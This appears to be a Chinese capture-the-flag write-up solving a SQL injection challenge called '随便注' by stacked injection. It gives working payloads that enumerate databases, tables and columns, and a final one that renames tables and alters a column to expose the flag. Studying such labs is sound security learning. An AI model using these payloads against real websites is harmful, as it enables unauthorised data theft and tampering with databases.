打开网页,只有一个1,直接提交回显出数据,提交2回显数据,提交其他的就没有回显了。
根据题目“随便注”初步判断它应该是一个SQL注入,尝试一下 1’ ,报错:
说明我们的判断是正确的,接下来就是正常程序:
order by报字段数:
1' order by 2 #
到三时报错,说明有两个字段,
联合查询报库名:
1' union select1,2#
得到的回复却是他过滤了一些关键字。
关于preg_match函数可参考菜鸟教程:
https://www.runoob.com/php/php-preg_match.html
但是他没有过滤show,我们可以尝试一下堆叠注入:
1';show databases;#
回显出数据,说明可以使用堆叠注入,接下来用堆叠注入来差表名:
1';show tables;#
得到两个表名,以此查询两个表的字段:
1';show columns from `1919810931114514`;#
1';show columns from words;#
1919810931114514表:
words表:
因为很多关键字被过滤的,正常的查询数据库数据的语句没办法使用,接下来就该充分发挥网络的作用啦!
经我查WP得到,需要来点骚操作:
首先我们通过这两个表的字段,我们可以发现,最上边回显的内容是words表中的id和data两列的数据,所以我们是不是可以想办法把words表中的某列内容给替换成flag,将flag换进words里或者直接让他回显1919810931114514表中的内容。
因为本菜鸡知识的限制,再加上并没有在网上找到第一种的解法,我猜测是这种解法中的某个关键字在过滤表中,或者根本没有这个语句,或者没法使用这个语句(SQL语句我已经忘得差不多了,若有大佬指点则感激不尽!)。
所以这里我们使用第二种方法,让他回显1919810931114514表中的数据,更改默认显示表不现实,那就把这个表改一下名字,让他变成words表来显示出flag。
具体实施就是:
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words ;#
先将words表的名字修改了,改为words1(其他什么都可以),因为表不能同名,然后把1919810931114514表名改为words,再将字段flag改为id(如果改为data的话需要再加一列id)
修改成功后,再输入万能密码就会得到flag了。
再查表就会发现表已经被修改了:
还有一种预处理的方式,本菜鸡并未整明白,有兴趣了解学习的请参考这篇文章:
https://www.cnblogs.com/wjw-zm/p/12359735.html
(若作者介意请私信联系删除!!!)